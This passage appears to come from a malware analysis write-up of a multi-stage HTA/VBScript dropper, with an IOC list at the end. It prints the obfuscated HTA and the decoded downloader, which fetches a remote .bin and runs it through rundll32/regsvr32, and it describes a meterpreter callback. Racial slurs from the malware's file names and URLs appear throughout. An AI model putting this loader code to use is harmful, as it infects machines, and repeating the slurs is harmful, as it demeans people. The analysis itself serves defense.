, 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 54 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114, 40 , 54 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 79 , 68 , 34 , 32 , 38 , 32 , 34 , 66 , 46 , 83 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 116 , 114 , 101 , 34 , 32 , 38 , 32 , 34 , 97 , 109 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 41 , 13 , 10 , 32 , 32 , 32 , 32 , 106 , 106 , 101 , 89 , 101 , 113 , 104 , 118 , 121 , 97 , 119 , 68 , 89 , 101 , 97 , 118 , 46 , 116 , 121 , 112 , 101 , 32 , 61 , 32 , 49 , 13 , 10 , 32 , 32 , 32 , 32 , 106 , 106 , 101 , 89 , 101 , 113 ,104 , 118 , 121 , 97 , 119 , 68 , 89 , 101 , 97 , 118 , 46 , 111 , 112 , 101 , 110 , 13 , 10 , 32 , 32 , 32 , 32 , 106 , 106 , 101 , 89 , 101 , 113 , 104 , 118 , 121 , 97 , 119 , 68 , 89 , 101 , 97 , 118 , 46 , 119 , 114 , 105 , 116 , 101 , 32 , 80 , 89 , 72 , 82 , 90 , 115 , 114 , 82 , 86 , 103 , 74 , 109 , 86 , 110 , 46 , 114 , 101 , 115 , 112 , 111 , 110 , 115 , 101 , 66 , 111 , 100 , 121 , 32 , 13 , 10 , 32 , 32 , 32 , 32 , 106 , 106 , 101 , 89 , 101 , 113 , 104 , 118 , 121 , 97 , 119 , 68 , 89 , 101 , 97 , 118 , 46 , 115 , 97 , 118 , 101 , 116 , 111 , 102 , 105 , 108 , 101 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 67 , 58 , 92 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 50 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 56 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34, 114 , 111 , 103 , 34 , 32 , 38 , 32 , 34 , 114 , 97 , 109 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 54 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 97 , 116 , 97 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 50 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 102 , 100 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 105 , 103 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 49 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 52 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 105 , 110 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 44 , 32 , 50 , 13 , 10 , 32 , 32 , 32 , 32 , 106 , 106 , 101 , 89 , 101 , 113 , 104 , 118 , 121 , 97 , 119 , 68 , 89 , 101 , 97 , 118 , 46 , 99 , 108 , 111 , 115 , 101 , 13 , 10 , 32 , 32 , 32 , 32 , 110 , 90 , 104 , 97 , 78 , 106 , 115 , 90 , 117 , 69 , 32 , 61 , 32 , 49 , 13 , 10 , 69 , 108 , 115 , 101 , 13 , 10 , 32 , 32 , 32 , 32 , 110 , 90 , 104 , 97 , 78 , 106 , 115 , 90 , 117 , 69 , 32 , 61 , 32 , 48 , 13 , 10 , 69 , 110 , 100 , 32 , 73 , 102 , 13 , 10 , 13 , 10 , 69 , 110 , 100 , 32 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 13 , 10 , 13 , 10 , 39 , 73 , 102 , 32 , 90 , 81 , 98 , 119 , 89 , 110 , 122 , 88 , 86 , 83 , 115 , 78 , 70 , 110 , 83 , 87 , 32 , 60 , 62 , 32 , 110 , 118 , 121 , 84 , 108 , 107 , 90 , 116 , 109 , 114 , 107 , 80 , 71 , 100 , 97 , 119 , 32 , 84 , 104 , 101 , 110 , 32 , 13 , 10 , 70 , 111 , 114 , 32 , 69 , 97 , 99 , 104 , 32 , 78 , 68 , 81 , 107 , 68 , 99 , 107 , 102 , 88 , 74 , 117 , 121 , 74 , 77 , 86 , 103 , 32, 105 , 110 , 32 , 65 , 114 , 114 , 97 , 121 , 40 , 34 , 104 , 116 , 116 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 50 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 58 , 47 , 34 , 32 , 38 , 32 , 34 , 47 , 109 , 101 , 34 , 32 , 38 , 32 , 34 , 100 , 105 , 110 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 49 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38, 32 , 67 , 104 , 114 , 40 , 57 , 57 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 111 , 46 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 105 , 110 , 47 , 34 , 32 , 38 , 32 , 34 , 107 , 104 , 34 , 32 , 38 , 32 , 34 , 103 , 113 , 122 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 50 , 50 , 34 , 32 , 38 , 32 , 34 , 80 , 65 , 34 , 32 , 38 , 32 , 34 , 71 , 49 , 34 , 32 , 38 , 32 , 34 , 47 , 77 , 34 , 32 , 38 , 32 , 34 , 120 , 79 , 77 , 34 , 32 , 38 , 32 , 34 , 101 , 107 , 107 , 34 , 32 , 38 , 32 , 34 , 107 , 108 , 103 , 34 , 32 , 38 , 32 , 34 , 98 , 116 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 46 , 98 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48, 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 44 , 32 , 34 , 104 , 116 , 34 , 32 , 38 , 32 , 34 , 116 , 112 , 34 , 32 , 38 , 32 , 34 , 115 , 58 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 100 , 97 , 102 , 34 , 32 , 38 , 32 , 34 , 116 , 97 , 114 , 34 , 32 , 38 , 32 , 34 , 46 , 115 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 101 , 47 , 65 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 55 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 54 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 56 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 55 , 57 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 55 , 57 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 47 , 90 , 34 , 32 , 38 , 32 , 34 , 113 , 112 , 72 , 34 , 32 , 38 , 32 , 34 , 121 , 100 , 121 , 34 , 32 , 38 , 32 , 34 , 107 , 107 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 55 , 43 , 49 , 45 , 49, 41 , 32 , 38 , 32 , 34 , 107 , 108 , 103 , 34 , 32 , 38 , 32 , 34 , 98 , 116 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 46 , 98 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 53 , 43 , 49 , 45 , 49, 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 44 , 32 , 34 , 104 , 116 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 116 , 112 , 34 , 32 , 38 , 32 , 34 , 115 , 58 , 34 , 32 , 38 , 32 , 34 , 47 , 47 , 34 , 32 , 38 , 32 , 34 , 100 , 97 , 102 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 114 , 46 , 115 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 116 , 101 , 47 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 55 , 50 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 69 , 81 , 49 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 54 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 55 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 88 , 115 , 34 , 32 , 38 , 32 , 34 , 106 , 104 , 34 , 32 , 38 , 32 ,67 , 104 , 114 , 40 , 54 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 106 , 79 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 57 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 116 , 107 , 34 , 32 , 38 , 32 , 34 , 107 , 107 , 108 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 98 , 116 , 113 , 34 , 32 , 38 , 32 , 34 , 46 , 98 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 105 , 110, 34 , 32 , 44 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 52 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 116 , 112 , 34 , 32 , 38 , 32 , 34 , 58 , 47 , 47 , 34 , 32 ,38 , 32 , 34 , 99 , 117 , 34 , 32 , 38 , 32 , 34 , 99 , 115 , 117 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 52 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 117 , 100 , 103 , 34 , 32, 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 105 , 114 , 116 , 34 , 32 , 38 , 32 , 34 , 117 , 97 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 108 , 46 , 117 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 46 , 109 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 120 , 47 , 111 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 47 , 50 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 50 , 48 , 47 , 34 , 32 , 38 , 32 , 34 , 83 , 105 , 115 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 56 , 52 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 114 , 47 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 53 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 49 , 80 , 34 , 32 , 38 , 32 , 34 , 50 , 47 , 76 , 34 , 32 , 38 , 32 , 34 , 75 , 103 , 114 , 34 , 32 , 38 , 32 , 34 , 80 , 82 , 89 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 52 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 120 , 86 , 89 , 34 , 32 , 38 , 32 , 34 , 107 , 107 , 34 , 32 , 38, 32 , 67 , 104 , 114 , 40 , 49 , 48 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 108 , 103 , 34 , 32 , 38 , 32 , 34 , 98 , 116 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104, 114 , 40 , 52 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 98 , 105 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 44 , 32 , 34 , 104 , 116 , 116 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 112 , 115 , 58 , 34 , 32 , 38 , 32 , 34 , 47 , 47 , 34 , 32 , 38 , 32 , 34 , 100 , 97 , 34 , 32 , 38 , 32 , 34 , 102 , 116 , 97 , 34 , 32 , 38 , 32 , 34 , 114 , 46 , 34 , 32 , 38 , 32 , 34 , 115 , 105 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 116 , 101 , 34 , 32 , 38 , 32 , 34 , 47 , 68 , 73 , 34 , 32 , 38 , 32 , 34 , 73 , 90 , 47 , 34 , 32 , 38 , 32 , 34 , 97 , 88 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 56 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 106 , 81 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 ,54 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 90 , 117 , 34 , 32 , 38 , 32 , 34 , 103 , 109 , 102 , 34 , 32 , 38 , 32 , 34 , 103 , 69 , 118 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 107 , 107 , 108 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 98 , 116 , 113 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 98 , 105 , 110 , 34 , 41 , 32 , 13 , 10 , 32 , 32 , 32 , 32 , 73 , 102 , 32 , 78 , 111 , 116 , 32 , 117 , 72 , 78 , 99 , 68 , 83 , 79 , 120 , 122 , 83 , 74 , 46 , 70 , 105 , 108 , 101 , 69 , 120 , 105 , 115 , 116 , 115 , 40 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 54 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 53 , 56 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 50 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 92 , 80 , 34 , 32 , 38 , 32 , 34 , 114 , 111 , 103 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 ,38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 52 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 97 , 109 , 68 , 34 , 32 , 38 , 32 , 34 , 97 , 116 , 97 , 34 , 32 , 38 , 32 , 34 , 92 , 102 , 100 , 34 , 32 , 38 , 32 , 34 , 110 , 105 , 103 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 101 , 114 , 46 , 34 , 32 , 38 , 32 , 34 , 98 , 105 , 110 , 34 , 32 , 38 , 32 , 34 , 34 , 41 , 32 , 84 , 104 , 101 , 110 , 13 , 10 , 32 , 32 , 32 , 32 , 80 , 89 , 72 , 82 , 90, 115 , 114 , 82 , 86 , 103 , 74 , 109 , 86 , 110 , 46 , 79 , 112 , 101 , 110 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 71 , 69 , 84 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 44 , 32 , 78 , 68 , 81 , 107 , 68 , 99 , 107 , 102 , 88 , 74 , 117 , 121 , 74 , 77 , 86 , 103 , 44 , 32 , 70 , 97 , 108 , 115 , 101 , 32 , 13 , 10 , 32 , 32 , 32 , 32 , 80 , 89 , 72 , 82 , 90 , 115 , 114 , 82 , 86 , 103 , 74 , 109 , 86 , 110 , 46 , 83 , 101 , 110 , 100 , 13 , 10 , 32 , 32 , 32 , 32 , 73 , 110 , 65 , 74 , 71 , 106 , 109 , 116 , 105 , 86 , 112 , 99 , 80 , 90 , 106 , 84 , 76 , 32 , 61 , 32 , 110 , 90 , 104 , 97 , 78 , 106 , 115 , 90 , 117 , 69 , 40 , 80 , 89 , 72 , 82 , 90 , 115 , 114 , 82 , 86 , 103 , 74 , 109 , 86 , 110 , 41 , 13 , 10 , 32 , 32 ,32 , 32 , 73 , 102 , 32 , 73 , 110 , 65 , 74 , 71 , 106 , 109 , 116 , 105 , 86 , 112 , 99 , 80 , 90 , 106 , 84 , 76 , 32 , 61 , 32 , 49 , 32 , 84 , 104 , 101 , 110 , 13 , 10 , 32 , 32 , 32 , 32 , 72 , 99 , 67 , 114 , 87 , 75 , 65 , 103 , 122 , 84 , 106 , 69 , 90 , 97, 76 , 40 , 41 , 13 , 10 , 32 , 32 , 32 , 32 , 69 , 120 , 105 , 116 , 32 , 70 , 111 , 114 , 13 , 10 , 32 , 32 , 32 , 32 , 69 , 110 , 100 , 32 , 73 , 102 , 13 , 10 , 32 , 32 , 32 , 32 , 69 , 110 , 100 , 32 , 73 , 102 , 13 , 10 , 78 , 101 , 120 , 116 , 13 , 10 , 39 , 69 , 110 , 100 , 32 , 73 , 102 , 13 , 10 , 13 , 10)
		    var_1 = var_1 + Chr(Round(var_5))
            Next
            With CreateObject("Scripting.FileSystemObject")
            .CreateTextFile(var_4).Write(var_1)
            End With

        the_cmd = "wscript.exe C:\ProgramData\fuck_all_niggers.vbs"
        wscript_shell.Run(the_cmd)
        End If
	</script>
</head>
<body>
</body>
</html>%

Windows - Stage 4

Decoding the array, we get the following (after deobfuscation):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

Set var_1 = CreateObject("MSXML2.XMLHTTP.6.0")
Set var_3 = CreateObject("Wscript.Shell")
var_domain = LCase(var_3.expandenvironmentstrings("%USERDOMAIN%"))
var_logon_server = LCase(Replace(var_3.expandenvironmentstrings("%LOGONSERVER%"),"\\", ""))
Set var_6 = CreateObject("scripting.filesystemobject")

Function func_1(func_1_var_1, func_1_var_2)
    func_1 = Int((func_1_var_2 - func_1_var_1 + 1) * Rnd() + func_1_var_1)
End Function

Function func_2(func_2_var)
    func_2= func_2_var(func_1(LBound(func_2_var), UBound(func_2_var)))
End Function

Function func_3()
    func_3_var_1 = "wmic process call create "rundll32.exe c:\\programData\fdnigger.bin dllregisterserver"
    func_3_var_2 = "wmic process call create "regsvr32.exe /s c:\\programdata\fdnigger.bin"
    func_3_var_3 = "wmic process call create "regsvr32.exe -s c:\\programdata\fdnigger.bin"
    func_3_all_vars = Array(func_3_var_2, func_3_var_1,func_3_var_3)
    Set func_3_wscript = CreateObject("Wscript.shell")
    func_3_wscript.Exec(func_3_var_1)
End Function

Function func_4(func_4_var_1)
If Len(func_4_var_1.ResponseBody)>2000 And func_4_var_1.Status = 200  Then
    Set func_4_var_2 = CreateObject("ADodb.stream")
    func_4_var_2.type = 1
    func_4_var_2.open
    func_4_var_2.write var_1.responseBody
    func_4_var_2.savetofile "c:\\ProgramData\fdnigger.bin", 2
    func_4_var_2.close
    func_4 = 1
Else
    func_4 = 0
End If

End Function

If var_logon_server <> var_domain Then
For Each var_7 in Array('https://medino.co.in/khgqz/22pag1/mxomekkklgbtq.bin', 'https://daftar.site/aNASOO/zqphydykkkklgbtq.bin', 'https://daftar.site/Heq1AL/xsjhBjokmtkkklgbtq.bin', 'http://cucsur.udgvirtual.udg.mx/oa/2020/sisTur/71p2/lkgrpryhxvykkklgbtq.bin', 'https://daftar.site/diiz/axXjqAzugmfgevkkklgbtq.bin')
    If Not var_6.FileExists("C:\\programdata\fdnigger.bin") Then
    var_1.Open "GET", var_7, False
    var_1.Send
    var_8 = func_4(var_1)
    If var_8 = 1 Then
    func_3()
    Exit For
    End If
    End If
Next
End If

The above script executes only if the computer is domain joined. The domains seem to be responding with 404 or non-malicious payload at this time.

Python Payload - Unix

Python - Stage 4

The python payload is a base64 encoded string that is just passed on exec().

Desktop View

The python script is a meterpreter payload that connects to 185.254.196.122:4445 and the server is alive at this time.

Desktop View

Update

The next day, the same attacker changed the servers that the malware was hosted on, using cdn.discordapp.com for the final stage, which was responding with a 403 at the time that I tried to download the malware. The IOCs are updated accordingly.

Since there were too many urls to extract, I created an auto-extract script in python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import glob, os

htas = []
for filename in glob.glob('fu*'):
    with open(os.path.join(os.getcwd(), filename), 'r') as f:
        htas.append(f.read())

arrays = []
for hta in htas:
    arrays.append(hta.split('Array(')[1].split(')')[0].replace(' ', '').split(','))

decoded_arrays = []
for array in arrays:
    decoded = ''
    for letter in array:
        decoded += chr(int(letter))
    decoded_arrays.append(decoded)


urls = []
for decoded_array in decoded_arrays:
    urls.extend(list(eval(decoded_array.split('Array(')[2].split(')\r')[0].lower().replace('&', '+'))))

urls = list(set(urls))

for url in urls:
    print(url)

IOCs

Detections

The IOCs have very low detection rate at the moment.

Desktop View Desktop View

First Stage

188.166.57.35
167.99.115.242

Python Meterpreter

IP

185.254.196.122

Domain

b50.jonasklg.com

URL

http://cucsur.udgvirtual.udg.mx/oa/2020/SisTur/G99ZTE/m.py

SHA265 Hashes

794c18c4e796a1395683efeac67e4fcdaf03f26cc3ff4d42e541277b08a537cb

HTAs

Domains

cucsur.udgvirtual.udg.mx
daftar.site
ditarbags.com
easycryptos.org
guiatvpro.com
hllaw.com
kookoo.co.in
kylintech.in
live.kiss13.net
nderemo.co.tz
orcs-multigaming.de
sonicrain.com
tabak.hr
teste.spedynet.com.br
webs-up.com
www.fixstudio.co.kr
zabbix.fenixnetcom.com.br
b50.jonasklg.com
cucsur.udgvirtual.udg.mx
www.alldomaininfo.com

URLs

http://www.alldomaininfo.com/8C03C/fuck_niggers_92.hta
http://www.alldomaininfo.com/18CKF/fuck_niggers_36.hta
http://www.alldomaininfo.com/RS3/fuck_niggers_42.hta
http://www.alldomaininfo.com/WX9Y/fuck_niggers_86.hta
http://www.alldomaininfo.com/J9IPA/fuck_niggers_71.hta
http://www.alldomaininfo.com/1WQV/fuck_niggers_10.hta
http://www.alldomaininfo.com/98JB/fuck_niggers_88.hta
http://www.alldomaininfo.com/4XE/fuck_niggers_56.hta
http://www.alldomaininfo.com/KLY/fuck_niggers_57.hta
http://www.alldomaininfo.com/EOM/fuck_niggers_73.hta
http://www.alldomaininfo.com/LU5NRI/fuck_niggers_12.hta
http://www.alldomaininfo.com/JJFO4P/fuck_niggers_4.hta
http://www.alldomaininfo.com/DBMZ/fuck_niggers_53.hta
http://www.alldomaininfo.com/I233TS/fuck_niggers_68.hta
http://www.alldomaininfo.com/3X7MV/fuck_niggers_31.hta
http://www.alldomaininfo.com/XSNKK/fuck_niggers_54.hta
http://www.alldomaininfo.com/EXYX/fuck_niggers_70.hta
http://www.alldomaininfo.com/WBD9ZA/fuck_niggers_40.hta
http://www.alldomaininfo.com/D4PV9I/fuck_niggers_93.hta
http://www.alldomaininfo.com/H0BX1/fuck_niggers_76.hta
http://www.alldomaininfo.com/DIY1F6/fuck_niggers_93.hta
http://www.alldomaininfo.com/438G/fuck_niggers_91.hta
http://www.alldomaininfo.com/ZBK/fuck_niggers_57.hta
http://www.alldomaininfo.com/0QMMJX/fuck_niggers_12.hta
http://www.alldomaininfo.com/1D7/fuck_niggers_9.hta
http://www.alldomaininfo.com/D9W/fuck_niggers_15.hta
http://www.alldomaininfo.com/UTO/fuck_niggers_99.hta
http://www.alldomaininfo.com/373/fuck_niggers_98.hta
http://www.alldomaininfo.com/WEYMZ7/fuck_niggers_72.hta
http://www.alldomaininfo.com/3MT4N8/fuck_niggers_0.hta
http://www.alldomaininfo.com/W22OE8/fuck_niggers_51.hta
http://www.alldomaininfo.com/50KT/fuck_niggers_56.hta
http://www.alldomaininfo.com/6A0/fuck_niggers_32.hta
http://www.alldomaininfo.com/S4L/fuck_niggers_84.hta
http://www.alldomaininfo.com/2XYFLL/fuck_niggers_92.hta
http://www.alldomaininfo.com/M9DFBE/fuck_niggers_31.hta
http://www.alldomaininfo.com/YCEL62/fuck_niggers_29.hta
http://www.alldomaininfo.com/UCHF/fuck_niggers_86.hta
http://www.alldomaininfo.com/015QZ4/fuck_niggers_54.hta
http://www.alldomaininfo.com/R3RW7/fuck_niggers_49.hta
http://www.alldomaininfo.com/00PYP9/fuck_niggers_51.hta
http://www.alldomaininfo.com/8AMYY/fuck_niggers_98.hta
http://www.alldomaininfo.com/Y1G1W/fuck_niggers_94.hta
http://www.alldomaininfo.com/LODNH/fuck_niggers_90.hta
http://www.alldomaininfo.com/1FKXQ/fuck_niggers_59.hta
http://www.alldomaininfo.com/FUQ/fuck_niggers_7.hta
http://www.alldomaininfo.com/CGIQ7/fuck_niggers_38.hta
http://www.alldomaininfo.com/QLPYJ/fuck_niggers_89.hta
http://www.alldomaininfo.com/GZT/fuck_niggers_58.hta
http://www.alldomaininfo.com/Y2G/fuck_niggers_14.hta
http://www.alldomaininfo.com/ZI97/fuck_niggers_49.hta
http://www.alldomaininfo.com/LC1/fuck_niggers_95.hta
http://www.alldomaininfo.com/MWM/fuck_niggers_77.hta
http://www.alldomaininfo.com/SLY5Y/fuck_niggers_24.hta
http://www.alldomaininfo.com/VAF/fuck_niggers_43.hta
http://www.alldomaininfo.com/B45/fuck_niggers_52.hta
http://www.alldomaininfo.com/RKKP6P/fuck_niggers_60.hta
http://www.alldomaininfo.com/24L/fuck_niggers_19.hta
http://www.alldomaininfo.com/C9K23/fuck_niggers_92.hta
http://www.alldomaininfo.com/39VSS/fuck_niggers_54.hta
https://nderemo.co.tz/KPN477/fuck_niggers_27.hta
https://nderemo.co.tz/0ELFA4/fuck_niggers_47.hta
https://nderemo.co.tz/1Q2C2/fuck_niggers_39.hta
